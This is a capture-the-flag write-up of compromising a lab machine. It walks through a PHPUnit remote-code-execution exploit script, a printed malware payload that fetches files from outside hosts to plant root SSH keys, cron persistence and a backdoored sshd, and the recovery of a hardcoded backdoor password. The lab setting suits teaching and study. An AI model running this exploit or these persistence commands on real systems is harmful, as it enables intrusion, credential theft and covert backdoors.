IP -> 10.10.11.146
We start with an nmap scan
$ nmap -sCV -p- -v 10.10.11.146
...
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Diana's Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)
...
We see port 80 running HTTP and 22 running SSH. Let’s see whats in the website.
Clicking on the button “store” redirects us to store.djewelry.htb. Let’s add that to our /etc/hosts file:
10.10.11.146 store.djewelry.htb djewelry.htb
Let’s now refresh the page.
Running gobuster:
/images (Status: 301) [Size: 325]
/js (Status: 301) [Size: 321]
/css (Status: 301) [Size: 322]
/login.php (Status: 200) [Size: 4129]
/cart.php (Status: 200) [Size: 4396]
/products.php (Status: 200) [Size: 7447]
/index.php (Status: 200) [Size: 6215]
/fonts (Status: 301) [Size: 324]
/vendor (Status: 301) [Size: 325]
/server-status (Status: 403) [Size: 283]
We see this is a site running PHP. Let’s check what is in the vendor folder.
Doing some research we find that PHPUnit is vulnerable to RCE. This is a script I found:
import requests
from sys import argv
phpfiles = ["/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
def check_vuln(site):
vuln = False
try:
for i in phpfiles:
site = site+i
req = requests.get(site,headers= {
"Content-Type" : "text/html",
"User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
},data="<?php echo md5(phpunit_rce); ?>")
if "6dd70f16549456495373a337e6708865" in req.text:
print(f"Vulnerable: {site}")
return site
except:
return vuln
def help():
exit(f"{argv[0]} <site>")
def main():
if len(argv) < 2:
help()
if not "http" in argv[1] or not ":" in argv[1] or not "/" in argv[1]:
help()
site = argv[1]
if site.endswith("/"):
site = list(site)
site[len(site) -1 ] = ''
site = ''.join(site)
pathvuln = check_vuln(site)
if pathvuln == False:
exit("Not vuln")
try:
while True:
cmd = input("> ")
req = requests.get(str(pathvuln),headers={
"User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Content-Type" : "text/html"
},data=f'<?php system(\'{cmd}\') ?>')
print(req.text)
except Exception as ex:
exit("Error: " + str(ex))
main()
Alright! Let’s run it
$ python3 exploit.py http://store.djewelry.htb/
Vulnerable: http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now that we are in let’s run linpeas.
.....
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31
Vulnerable to CVE-2021-4034
Vulnerable to CVE-2021-3560
....
* 3 * * * root /var/lib/.main
....
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/run/lock
/run/lock/apache2
/run/screen
/var/backups/info
So we see that this system is not only vulnerable to pwnkit but we also have a strange file in /var/backups. Let’s inspect it!
www-data@production:/var/backups$ file info
info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
So we see it is an executable! Let’s check what is inside with strings.
$ strings info | less
....
[-] substring '%s' not found in dmesg
ffff
/bin/bash
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f72
6f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c6573
2e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f642037353520
2f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661
722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220
272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d
28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572
685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738
654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f51305439
6e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27
202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f626173
6822202626202433203e3d2031303030207b73797374656d28226563686f20222431222022243322
20222436222022243722
203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
[-] fork()
/etc/shadow
[.] checking if we got root
[-] something went wrong =(
[+] got r00t ^_^
[-] unshare(CLONE_NEWUSER)
.....
Let’s now see the contents of that hex string.
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
We’ve got a hash! Let’s crack it.
$ john --wordlist=rockyou.txt hash.txt
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 8 needed for performance.
ihatehackers (?)
Session completed
Alright so we cracked the password! Now let’s try to ssh in as steven1.
$ ssh [email protected]
[email protected]'s password: ihatehackers
Last login: Thu Jun 16 10:03:02 2022 from 10.10.14.145
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ cat user.txt
f1c3f8d27aeb8a02b55f...
Let’s run linpeas again!
....
╔══════════╣ Mails (limit 50)
17793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/mail/steven
17793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/spool/mail/steven
.....
Let’s now check their mail!
steven@production:/tmp/.K4oS$ cat /var/mail/steven
From root@production Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin
Looks like they are using some custom code in apache. Let’s check the modules folder
steven@production:/usr/lib/apache2/modules$ ls
httpd.exp mod_lbmethod_bybusyness.so
libphp7.4.so mod_lbmethod_byrequests.so
mod_access_compat.so mod_lbmethod_bytraffic.so
mod_actions.so mod_lbmethod_heartbeat.so
mod_alias.so mod_ldap.so
mod_allowmethods.so mod_log_debug.so
mod_asis.so mod_log_forensic.so
mod_auth_basic.so mod_lua.so
mod_auth_digest.so mod_macro.so
mod_auth_form.so mod_md.so
mod_authn_anon.so mod_mime.so
mod_authn_core.so mod_mime_magic.so
mod_authn_dbd.so mod_mpm_event.so
mod_authn_dbm.so mod_mpm_prefork.so
mod_authn_file.so mod_mpm_worker.so
mod_authn_socache.so mod_negotiation.so
mod_authnz_fcgi.so mod_proxy.so
mod_authnz_ldap.so mod_proxy_ajp.so
mod_authz_core.so mod_proxy_balancer.so
mod_authz_dbd.so mod_proxy_connect.so
mod_authz_dbm.so mod_proxy_express.so
mod_authz_groupfile.so mod_proxy_fcgi.so
mod_authz_host.so mod_proxy_fdpass.so
mod_authz_owner.so mod_proxy_ftp.so
mod_authz_user.so mod_proxy_hcheck.so
mod_autoindex.so mod_proxy_html.so
mod_brotli.so mod_proxy_http.so
mod_bucketeer.so mod_proxy_http2.so
mod_buffer.so mod_proxy_scgi.so
mod_cache.so mod_proxy_uwsgi.so
mod_cache_disk.so mod_proxy_wstunnel.so
mod_cache_socache.so mod_ratelimit.so
mod_case_filter.so mod_reader.so
mod_case_filter_in.so mod_reflector.so
mod_cern_meta.so mod_remoteip.so
mod_cgi.so mod_reqtimeout.so
mod_cgid.so mod_request.so
mod_charset_lite.so mod_rewrite.so
mod_data.so mod_sed.so
mod_dav.so mod_session.so
mod_dav_fs.so mod_session_cookie.so
mod_dav_lock.so mod_session_crypto.so
mod_dbd.so mod_session_dbd.so
mod_deflate.so mod_setenvif.so
mod_dialup.so mod_slotmem_plain.so
mod_dir.so mod_slotmem_shm.so
mod_dumpio.so mod_socache_dbm.so
mod_echo.so mod_socache_memcache.so
mod_env.so mod_socache_redis.so
mod_expires.so mod_socache_shmcb.so
mod_ext_filter.so mod_speling.so
mod_file_cache.so mod_ssl.so
mod_filter.so mod_status.so
mod_headers.so mod_substitute.so
mod_heartbeat.so mod_suexec.so
mod_heartmonitor.so mod_unique_id.so
mod_http2.so mod_userdir.so
mod_ident.so mod_usertrack.so
mod_imagemap.so mod_vhost_alias.so
mod_include.so mod_xml2enc.so
mod_info.so
Let’s try and sort these out by date.
steven@production:/usr/lib/apache2/modules$ ls --full-time -i | sort -u | head -2
2050 -rw-r--r-- 1 root root 34800 2021-05-17 07:10:04.000000000 +0000 mod_reader.so
5093 -rw-r--r-- 1 root root 4625776 2021-11-25 23:16:22.000000000 +0000 libphp7.4.so
We can see that not only the size is very different, but also the edit dates are very off from each other. Let’s download mod_reader.so and open it with ghidra.
We see it decodes and runs a base64 encoded string. Let’s now decode this string and check what is running!
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
It seems to download a file and write it to /usr/sbin/sshd. Let’s download this file and open it with ghidra!
A function named auth_password has a variable named “backdoor” which seems to do some manipulation of the string and checks if the password you supplied is the same. Let’s get all of the values.
0xa5
0xa9f4
0xbcf0b5e3
0xb2d6f4a0fda0b3d6
0xfdb3d6e7
0xf7bbfdc8
0xa4b3a3f3
0xf0e7abd6
And paste them into cyberchef. Now switching from little endian and following what the code does, which xors the values by 0x96.
We put the bytes in order (Following the code):
f0e7abd6a4b3a3f3f7bbfdc8fdb3d6e7fda0b3d6b2d6f4a0bcf0b5e300a5a9f4
And now putting it in cyberchef:
Great! We got the password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
Now let’s ssh in as root!
$ ssh [email protected]
[email protected]'s password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
Last login: Thu Jun 16 11:09:26 2022 from 10.10.14.43
root@production:~# cat root.txt
c64a0b731e6afd4...
We got the flag!
I hope you enjoyed this writeup!